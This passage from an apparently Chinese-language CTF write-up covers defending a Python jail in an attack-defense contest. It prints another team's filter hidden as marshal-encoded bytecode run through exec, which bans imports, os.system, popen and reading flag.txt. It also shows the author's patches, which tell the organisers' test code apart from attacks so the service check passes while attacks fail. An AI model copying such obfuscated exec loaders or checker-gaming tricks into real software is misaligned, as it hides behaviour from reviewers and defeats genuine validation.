    exec(marshal.loads(b&quot;\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x40\x00\x00\x00\x73\x2a\x00\x00\x00\x64\x00\x64\x01\x6c\x00\x6d\x01\x5a\x01\x01\x00\x64\x02\x65\x02\x64\x03\x65\x01\x65\x03\x65\x02\x66\x02\x19\x00\x66\x04\x64\x04\x64\x05\x84\x04\x5a\x04\x64\x06\x53\x00\x29\x07\xe9\x00\x00\x00\x00\x29\x01\xda\x05\x54\x75\x70\x6c\x65\xda\x04\x63\x6f\x64\x65\xda\x06\x72\x65\x74\x75\x72\x6e\x63\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x05\x00\x00\x00\x43\x00\x00\x00\x73\x52\x01\x00\x00\x64\x01\x64\x00\x6c\x00\x7d\x01\x67\x00\x64\x02\xa2\x01\x7d\x02\x64\x03\x64\x04\x67\x02\x7d\x03\x64\x05\x64\x06\x84\x00\x7c\x01\xa0\x01\x7c\x00\xa1\x01\x44\x00\x83\x01\x7d\x04\x74\x02\x74\x03\x7c\x04\x83\x01\x83\x01\x44\x00\x5d\x5c\x7d\x05\x7c\x04\x7c\x05\x19\x00\x7d\x06\x7c\x06\x6a\x04\x64\x07\x6b\x02\x72\x31\x74\x05\x7c\x06\x6a\x06\x83\x01\x64\x08\x6b\x02\x72\x31\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0a\x6b\x02\x72\x40\x64\x0b\x74\x05\x7c\x06\x6a\x06\x83\x01\x6b\x02\x72\x40\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0c\x6b\x02\x72\x4f\x64\x0d\x74\x05\x7c\x06\x6a\x06\x83\x01\x76\x00\x72\x4f\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0e\x6b\x02\x72\x5e\x74\x05\x7c\x06\x6a\x06\x83\x01\x7c\x02\x76\x00\x72\x5e\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0e\x6b\x02\x72\x78\x74\x05\x7c\x06\x6a\x06\x83\x01\x64\x0f\x6b\x02\x72\x78\x74\x05\x7c\x04\x7c\x05\x64\x10\x17\x00\x19\x00\x6a\x06\x83\x01\x7c\x03\x76\x00\x72\x78\x01\x00\x64\x09\x53\x00\x71\x1c\x64\x11\x7c\x00\x76\x00\x72\x83\x7c\x00\xa0\x07\x64\x12\x64\x13\xa1\x02\x7d\x00\x64\x14\x7c\x00\x76\x00\x72\x8d\x7c\x00\xa0\x07\x64\x15\x64\x13\xa1\x02\x7d\x00\x64\x16\x7c\x00\x76\x00\x72\x97\x7c\x00\xa0\x07\x64\x17\x64\x13\xa1\x02\x7d\x00\x64\x18\x7c\x00\x76\x00\x72\xa1\x7c\x00\xa0\x07\x64\x19\x64\x13\xa1\x02\x7d\x00\x64\x1a\x7c\x00\x17\x00\x7d\x00\x64\x1b\x7c\x00\x66\x02\x53\x00\x29\x1c\x4e\x72\x01\x00\x00\x00\x29\x03\xda\x09\x69\x6d\x70\x6f\x72\x74\x6c\x69\x62\xda\x06\x62\x61\x73\x65\x36\x34\xda\x06\x70\x69\x63\x6b\x6c\x65\xda\x06\x73\x79\x73\x74\x65\x6d\xda\x05\x70\x6f\x70\x65\x6e\x63\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x53\x00\x00\x00\x73\x10\x00\x00\x00\x67\x00\x7c\x00\x5d\x04\x7d\x01\x7c\x01\x91\x02\x71\x02\x53\x00\xa9\x00\x72\x0a\x00\x00\x00\x29\x02\xda\x02\x2e\x30\xda\x01\x78\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\xfa\x08\x62\x6c\x6f\x63\x6b\x2e\x70\x79\xda\x0a\x3c\x6c\x69\x73\x74\x63\x6f\x6d\x70\x3e\x0a\x00\x00\x00\x73\x02\x00\x00\x00\x10\x00\x7a\x18\x6a\x61\x69\x6c\x2e\x3c\x6c\x6f\x63\x61\x6c\x73\x3e\x2e\x3c\x6c\x69\x73\x74\x63\x6f\x6d\x70\x3e\xe9\x65\x00\x00\x00\xda\x0c\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x29\x02\x46\xda\x00\xe9\xa0\x00\x00\x00\xda\x04\x72\x65\x61\x64\xe9\x64\x00\x00\x00\x7a\x08\x66\x6c\x61\x67\x2e\x74\x78\x74\xe9\x6c\x00\x00\x00\xda\x02\x6f\x73\xe9\x01\x00\x00\x00\x7a\x05\x72\x65\x61\x64\x28\x7a\x06\x72\x65\x61\x64\x28\x29\x7a\x07\x63\x6c\x6f\x73\x65\x28\x29\x7a\x09\x72\x65\x61\x64\x6c\x69\x6e\x65\x28\x7a\x0a\x72\x65\x61\x64\x6c\x69\x6e\x65\x28\x29\x7a\x0a\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x7a\x0b\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x7a\x09\x74\x72\x75\x6e\x63\x61\x74\x65\x28\x7a\x0a\x74\x72\x75\x6e\x63\x61\x74\x65\x28\x29\x61\x49\x04\x00\x00\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x69\x6d\x70\x6f\x72\x74\x6c\x69\x62\x3b\x6f\x73\x2e\x70\x6f\x70\x65\x6e\x3d\x6f\x73\x2e\x73\x79\x73\x74\x65\x6d\x3d\x6f\x73\x2e\x65\x78\x65\x63\x3d\x6f\x73\x2e\x72\x65\x61\x64\x3d\x69\x6d\x70\x6f\x72\x74\x6c\x69\x62\x2e\x72\x65\x6c\x6f\x61\x64\x3d\x30\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x54\x29\x08\xda\x03\x64\x69\x73\x5a\x10\x67\x65\x74\x5f\x69\x6e\x73\x74\x72\x75\x63\x74\x69\x6f\x6e\x73\xda\x05\x72\x61\x6e\x67\x65\xda\x03\x6c\x65\x6e\x5a\x06\x6f\x70\x63\x6f\x64\x65\xda\x03\x73\x74\x72\x5a\x06\x61\x72\x67\x76\x61\x6c\xda\x07\x72\x65\x70\x6c\x61\x63\x65\x29\x07\x72\x03\x00\x00\x00\x72\x18\x00\x00\x00\x5a\x0a\x62\x61\x6e\x5f\x69\x6d\x70\x6f\x72\x74\x5a\x0d\x62\x61\x6e\x5f\x6f\x73\x5f\x6d\x65\x74\x68\x6f\x64\x5a\x05\x63\x6f\x64\x65\x73\xda\x01\x69\x72\x0c\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0d\x00\x00\x00\xda\x04\x6a\x61\x69\x6c\x03\x00\x00\x00\x73\x38\x00\x00\x00\x08\x02\x08\x02\x08\x01\x14\x02\x10\x02\x08\x01\x18\x01\x06\x01\x18\x01\x06\x01\x18\x01\x06\x01\x18\x01\x06\x01\x18\x01\x16\x01\x06\x01\x02\x80\x08\x02\x0c\x01\x08\x01\x0c\x01\x08\x01\x0c\x01\x08\x01\x0c\x01\x08\x02\x08\x02\x72\x1e\x00\x00\x00\x4e\x29\x05\xda\x06\x74\x79\x70\x69\x6e\x67\x72\x02\x00\x00\x00\x72\x1b\x00\x00\x00\xda\x04\x62\x6f\x6f\x6c\x72\x1e\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0d\x00\x00\x00\xda\x08\x3c\x6d\x6f\x64\x75\x6c\x65\x3e\x01\x00\x00\x00\x73\x04\x00\x00\x00\x0c\x00\x1e\x02&quot;), x)
    x, code = x[&apos;jail&apos;](code)</code></pre><figcaption>from team 5</figcaption></figure><p>&#x4E0D;&#x5F97;&#x4E0D;&#x63D0;&#x5230;&#x9019;&#x771F;&#x662F;&#x6DF7;&#x6DC6; jail code &#x7684;&#x597D;&#x65B9;&#x6CD5;&#xFF0C;&#x8B93;&#x6211;&#x5B8C;&#x5168;&#x4E0D;&#x6562; copy paste &#x4F86;&#x8DEF;&#x4E0D;&#x660E;&#x7684; jail code&#x3002;</p><p>&#x7B2C;&#x4E8C;&#x7A2E;&#x5B98;&#x65B9;&#x89E3;&#x8CFD;&#x4E2D;&#x6709;&#x4EBA;&#x4F7F;&#x7528;&#x4F46;&#x5B8C;&#x6574;&#xFF0C;&#x6211;&#x6C92;&#x641E;&#x6E05;&#x695A;&#x539F;&#x7406;&#x5C31;&#x7E5E;&#x904E;&#x4E86;&#xFF0C;&#x4E4B;&#x5F8C;&#x88DC;&#x4E00;&#x4E0B; -&gt;TODO&lt;-</p><h1 id="jail-%E6%9C%AC%E8%B3%AA">jail &#x672C;&#x8CEA;?</h1><blockquote>&#x9019;&#x6BB5;&#x53EF;&#x4EE5;&#x8DF3;&#x904E;&#xFF0C;&#x8B80;&#x5B8C;&#x4E0D;&#x6703;&#x5B78;&#x5230;&#x4EFB;&#x4F55;&#x6280;&#x8853;</blockquote><p>&#x4EE5;&#x6211;&#x4E00;&#x500B;&#x5F9E;&#x4E0D;&#x6703;&#x7E5E; pyjail &#x4E5F;&#x4E0D;&#x6703;&#x5BEB; pyjail &#x8F9C;&#x72D7;&#x4E00;&#x500B;&#x665A;&#x4E0A;&#x627E;&#x524D;&#x5E7E;&#x7B46;&#x5C31;&#x627E;&#x5230;&#x524D;&#x9762;&#x5404;&#x7A2E;&#x82B1;&#x5F0F;&#x7E5E;&#x6CD5;&#xFF0C;&#x4E26;&#x4E14;&#x76F4;&#x5230;&#x6BD4;&#x8CFD;&#x7D50;&#x675F;&#x90FD;&#x80FD;&#x901A;&#x6BBA;&#xFF0C;&#x8B93;&#x6211;&#x91CD;&#x65B0;&#x601D;&#x8003;&#x9019; jail &#x7684;&#x672C;&#x8CEA;&#xFF0C;&#x5728;&#x665A;&#x4E0A;&#x6E2C;&#x8A66;&#x6A5F;&#x5668; loading &#x6BD4;&#x8F03;&#x5C0F;&#x7684;&#x6642;&#x5019;&#x9A57;&#x8B49;&#x4E86;&#x9019;&#x500B;&#x60F3;&#x6CD5;</p><p><em>jail code patching &#x6642;&#x7684; example code &#x662F;&#x56FA;&#x5B9A;&#x7684;</em></p><p>&#x4E26;&#x4E14;&#x4F9D;&#x64DA;&#x4E3B;&#x8FA6;&#x65B9;&#x6709;&#x63D0;&#x4F9B; NAS &#x90A3;&#x984C;&#x7684; service check&#xFF0C;&#x537B;&#x6C92;&#x6709; pyjail &#x7684; service check &#x7D50;&#x679C;&#xFF0C;&#x53C8; infra &#x5DF2;&#x7D93;&#x627F;&#x53D7;&#x4E0D;&#x4F4F;&#x5927;&#x5BB6;&#x7684;&#x6467;&#x6B98;&#xFF0C;&#x53EF;&#x4EE5;&#x731C;&#x6E2C;&#x901A;&#x904E; patching &#x5F8C;&#x4E0D;&#x6703;&#x518D;&#x6709;&#x5176;&#x4ED6;&#x7684;&#x9A57;&#x8B49;&#xFF0C;&#x56E0;&#x6B64; jail &#x7684;&#x7C21;&#x55AE;&#x53C8;&#x6709;&#x6548;&#x7684;&#x505A;&#x6CD5;&#x986F;&#x7136;&#x662F;</p><p><em>&#x5982;&#x4F55;&#x5340;&#x5206; exploit code &#x548C; &#xA0;example code?</em></p><p>&#x65BC;&#x662F;&#x4E0D;&#x7720;&#x4E0D;&#x4F11;&#x7684;&#x60F3;&#x51FA;&#x4E00;&#x5806;&#x5641;&#x5FC3;&#x4EBA;&#x7684; jail&#xFF0C;&#x8ACB;&#x5404;&#x4F4D;&#x6B23;&#x8CDE;</p><p>&#x9996;&#x5148;&#x662F;&#x6E2C;&#x8A66; example code &#x7684; input &#x9577;&#x5EA6;&#xFF0C;&#x6703;&#x4ECB;&#x65BC; &lt;70 &#x548C; &gt;800&#xFF0C;&#x5C0F;&#x90E8;&#x5206; example code &#x6703;&#x662F;&#x4EBA;&#x5DE5;&#x7522;&#x51FA;&#xFF0C;&#x5927;&#x591A;&#x6578;&#x6703;&#x662F;&#x5F9E;&#x7DB2;&#x8DEF;&#x4E0A;&#x6293;&#x7684;&#xFF0C;&#x9019;&#x6A23;&#x4EBA;&#x5DE5;&#x7522;&#x7684;&#x6703;&#x5F88;&#x77ED;&#xFF0C;&#x7DB2;&#x8DEF;&#x4E0A;&#x7522;&#x7684;&#x5247;&#x6703;&#x5F88;&#x9577;&#xFF0C;&#x5728;&#x665A;&#x4E0A;&#x7A0D;&#x5FAE;&#x6E2C;&#x8A66;&#x4E00;&#x4E0B;&#x5927;&#x5C0F;&#x5C31;&#x751F;&#x51FA;&#x9019;&#x689D;</p><blockquote>&#x5927;&#x591A;&#x662F;&#x1F341;&#x7684; code</blockquote><figure class="kg-card kg-code-card"><pre><code>    if len(code) &lt; 800 and len(code) &gt; 70:
        return False, &quot;&quot;</code></pre><figcaption>&#x6AA2;&#x6E2C; code &#x9577;&#x5EA6;</figcaption></figure><p>&#x65E2;&#x7136;&#x6709;&#x6C99;&#x7BB1;&#xFF0C;&#x90A3;&#x9806;&#x4FBF;&#x6E2C;&#x8A66; output &#x9577;&#x5EA6;</p><figure class="kg-card kg-code-card"><pre><code>    x = len(s)
    if (
        x &lt; 700
        and x**6
        - 1134 * x**5
        + 384209 * x**4
        - 54402048 * x**3
        + 3365938800 * x**2
        - 73802147328 * x
        != 0
    ):
        return True, &quot;print(&apos;EOFmsb32ca1108sqr7mfl183p3ph4hmr&apos;),exit(1)\n&quot; + code</code></pre><figcaption>&#x6E2C;&#x8A66;&#x6C99;&#x76D2;&#x57F7;&#x884C;&#x7D50;&#x679C;&#x7684; output &#x9577;&#x5EA6;&#x662F;&#x5426;&#x7B26;&#x5408;&#x591A;&#x9805;&#x5F0F;</figcaption></figure><p>&#x5728;&#x7B2C;&#x4E8C;&#x5929;&#x6BD4;&#x8CFD;&#x6642;&#x60F3;&#x5230;&#xFF0C;example code &#x7684;&#x4E82;&#x5EA6;&#x61C9;&#x8A72;&#x6BD4;&#x8D77; exploit code &#x90FD;&#x883B;&#x5927;&#x7684;&#xFF0C;&#x7C21;&#x55AE;&#x9EDE;&#x7684;&#x5BE6;&#x4F5C;&#x662F;&#x6E2C;&#x8A66;&#x4F7F;&#x7528;&#x5230;&#x7684;&#x5B57;&#x6BCD;&#x96C6;&#xFF0C;&#x5230;&#x6700;&#x5F8C;&#x5341;&#x5E7E;&#x8F2A;&#x4E0A;&#x9019;&#x500B; patch&#xFF0C;&#x6700;&#x7D42;&#x53EA;&#x6709; team 1 &#x6253;&#x7A7F;</p><figure class="kg-card kg-code-card"><pre><code>    if len(set(code)) &lt; 55:
        return False, &quot;&quot;</code></pre><figcaption>&#x6E2C;&#x8A66;&#x5B57;&#x6BCD;&#x96C6;&#x9577;&#x5EA6;</figcaption></figure><p>&#x6BCF;&#x500B; patch &#x90FD;&#x7C21;&#x55AE;&#x66B4;&#x529B;&#xFF0C;&#x537B;&#x76F4;&#x5230; jail code &#x516C;&#x958B;&#x524D;&#x90FD;&#x4E0D;&#x53EF;&#x80FD;&#x77E5;&#x9053;&#x5982;&#x4F55;&#x7E5E;</p><p>&#x8CFD;&#x5F8C;&#x60F3;&#x4E86;&#x4E00;&#x4E0B;&#x4E3B;&#x8FA6;&#x65B9;&#x5982;&#x4F55;&#x907F;&#x514D;&#x9019;&#x7A2E;&#x65C1;&#x9580;&#x5DE6;&#x9053;&#x53C8;&#x8981;&#x517C;&#x9867; server &#x6548;&#x80FD;&#xFF0C;&#x5148;&#x6392;&#x9664;&#x52D5;&#x614B;&#x751F;&#x6210; example code&#x3002;&#x60F3;&#x5230;&#x6BD4;&#x8F03;&#x597D;&#x7684;&#x65B9;&#x6CD5;&#x662F;&#x628A; example code &#x5207;&#x6210;&#x5169;&#x90E8;&#x5206;&#xFF0C;&#x4E00;&#x90E8;&#x4EFD;&#x7528;&#x5728; patching &#x6642;&#xFF0C;&#x53E6;&#x4E00;&#x90E8;&#x4EFD;&#x5247;&#x53EF;&#x4EE5;&#x6BCF;&#x8F2A;&#x52D5;&#x614B;&#x751F;&#x6210;&#x6216;&#x662F;&#x5148;&#x751F;&#x597D; 170 &#x4EFD;(&#x6709; 170 &#x8F2A;)&#xFF0C;&#x6BCF;&#x8F2A; service check &#x6BCF;&#x968A; jail &#x57F7;&#x884C;&#x4E26;&#x6BD4;&#x5C0D; output&#xFF0C;&#x4E0B;&#x4E00;&#x8F2A;&#x516C;&#x5E03; service check &#x7D50;&#x679C;&#x548C;&#x8A72; example code &#x4F86;&#x8B93;&#x5404;&#x968A;&#x53EF;&#x4EE5;&#x8ABF;&#x6574; jail&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/02/image-1.png" class="kg-image" alt loading="lazy" width="485" height="141"><figcaption>&#x8CFD;&#x5F8C;&#x8A0E;&#x8AD6;&#x66F4;&#x90AA;&#x60E1;&#x7684;&#x505A;&#x6CD5;</figcaption></figure><h1 id="%E5%85%B6%E4%BB%96%E9%98%B2%E5%AE%88%E6%96%B9%E6%8A%80%E5%B7%A7">&#x5176;&#x4ED6;&#x9632;&#x5B88;&#x65B9;&#x6280;&#x5DE7;</h1><p>&#x524D;&#x9762;&#x6709;&#x63D0;&#x5230;&#x9632;&#x5B88;&#x65B9;&#x6709;&#x4E09;&#x500B;&#x8003;&#x91CF;&#x9EDE;</p><h2 id="%E7%9B%A1%E5%8F%AF%E8%83%BD%E6%B8%9B%E5%B0%91-exploit-code-%E9%80%8F%E6%BC%8F%E8%B3%87%E8%A8%8A">&#x76E1;&#x53EF;&#x80FD;&#x6E1B;&#x5C11; exploit code &#x900F;&#x6F0F;&#x8CC7;&#x8A0A;</h2><p>&#x984C;&#x76EE;&#x6709;&#x63D0;&#x5230;&#x5176;&#x4ED6;&#x7684;&#x50CF;&#x662F; example code &#x4E0D;&#x6703;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x3001;&#x4E0D;&#x6703;&#x8B80;&#x5BEB;&#x6A94;&#x7B49;&#x7B49;&#xFF0C;&#x6709;&#x9019;&#x4E9B;&#x5617;&#x8A66;&#x90FD;&#x76F4;&#x63A5;&#x7981;&#x6B62;&#x57F7;&#x884C;&#x3002;</p><p>&#x9019;&#x67D0;&#x7A2E;&#x7A0B;&#x5EA6;&#x4E5F;&#x610F;&#x5473;&#x8005;&#x5340;&#x5206; exploit code &#x548C; example code </p><h2 id="%E9%98%B2%E6%AD%A2-jail-code-%E9%80%8F%E6%BC%8F%E8%B3%87%E8%A8%8A">&#x9632;&#x6B62; jail code &#x900F;&#x6F0F;&#x8CC7;&#x8A0A;</h2><p>&#x8981;&#x5373;&#x6642;&#x76E3;&#x63A7;&#x5404;&#x968A;&#x7684;&#x653B;&#x9632;&#x60C5;&#x6CC1;&#xFF0C;&#x5982;&#x679C;&#x653B;&#x9632;&#x76F8;&#x6E1B;&#x5F8C;&#x81EA;&#x5DF1;&#x4ECD;&#x7136;&#x5728;&#x524D;&#x5E7E;&#x6216;&#x662F;&#x5176;&#x5B83;&#x968A;&#x4F0D;&#x9084;&#x6C92;&#x4F7F;&#x7528;&#x76F8;&#x95DC;&#x7684; patch &#x5C31;&#x4E0D;&#x5FC5;&#x4E0A; patch&#x3002;&#x96D6;&#x7136;&#x8B1B;&#x662F;&#x9019;&#x6A23;&#x8B1B;&#xFF0C;&#x4F46;&#x662F;&#x89BA;&#x5F97;&#x5168;&#x4E0A;&#x6BD4;&#x8F03;&#x597D;&#x73A9;&#xFF0C;&#x5728;&#x4E2D;&#x5F8C;&#x6BB5;&#x5C31;&#x628A;&#x6240;&#x6709;&#x7559;&#x8457;&#x7684; patch &#x5168;&#x4E0A;&#x4E86;&#xFF0C;&#x7136;&#x5F8C;&#x5C31;&#x88AB;&#x6253;&#x7206; :D</p><p>&#x5373;&#x4F7F; exploit code &#x662F;&#x672A;&#x77E5;&#x7684;&#xFF0C;&#x900F;&#x904E;&#x5373;&#x6642;&#x76E3;&#x63A7;&#x5404;&#x968A;&#x653B;&#x9632;&#x60C5;&#x6CC1;&#xFF0C;&#x4ECD;&#x7136;&#x53EF;&#x4EE5;&#x6709;&#x6548;&#x4FEE;&#x88DC;&#x81EA;&#x5DF1;&#x7684; jail&#x3002;&#x82E5;&#x88AB;&#x67D0;&#x968A;&#x6253;&#x7A7F;&#x6642;&#x53EF;&#x4EE5;&#x5F9E;&#x4ED6;&#x5011;&#x7684; jail code &#x731C;&#x6E2C;&#x4ED6;&#x5011;&#x7528;&#x4E86;&#x4EC0;&#x9EBC;&#x65B0;&#x653B;&#x64CA;&#xFF1B;&#x82E5;&#x88AB;&#x67D0;&#x968A;&#x6253;&#x7A7F;&#x6642;&#xFF0C;&#x53EF;&#x4EE5;&#x628A;&#x4ED6;&#x5011;&#x6253;&#x4E0D;&#x7A7F;&#x7684; jail &#x52A0;&#x9032;&#x81EA;&#x5DF1;&#x7684; jail&#xFF1B;&#x82E5;&#x6253;&#x4E0D;&#x7A7F;&#x67D0;&#x968A;&#x6642;&#xFF0C;&#x53EF;&#x4EE5;&#x5F9E;&#x88AB;&#x6253;&#x7A7F;&#x6578;&#x91CF;&#x5224;&#x65B7;&#x4ED6;&#x5011;&#x7684; jail &#x96E3;&#x5EA6;&#x6C7A;&#x5B9A;&#x8981;&#x4E0D;&#x8981;&#x8017;&#x8CBB;&#x6642;&#x9593;&#x6539;&#x5BEB; exploit ....&#x6709;&#x4E09;&#x968A;&#x5F8C;&#x4F86;&#x90FD;&#x76F4;&#x63A5; copy paste &#x6211;&#x7684; jail 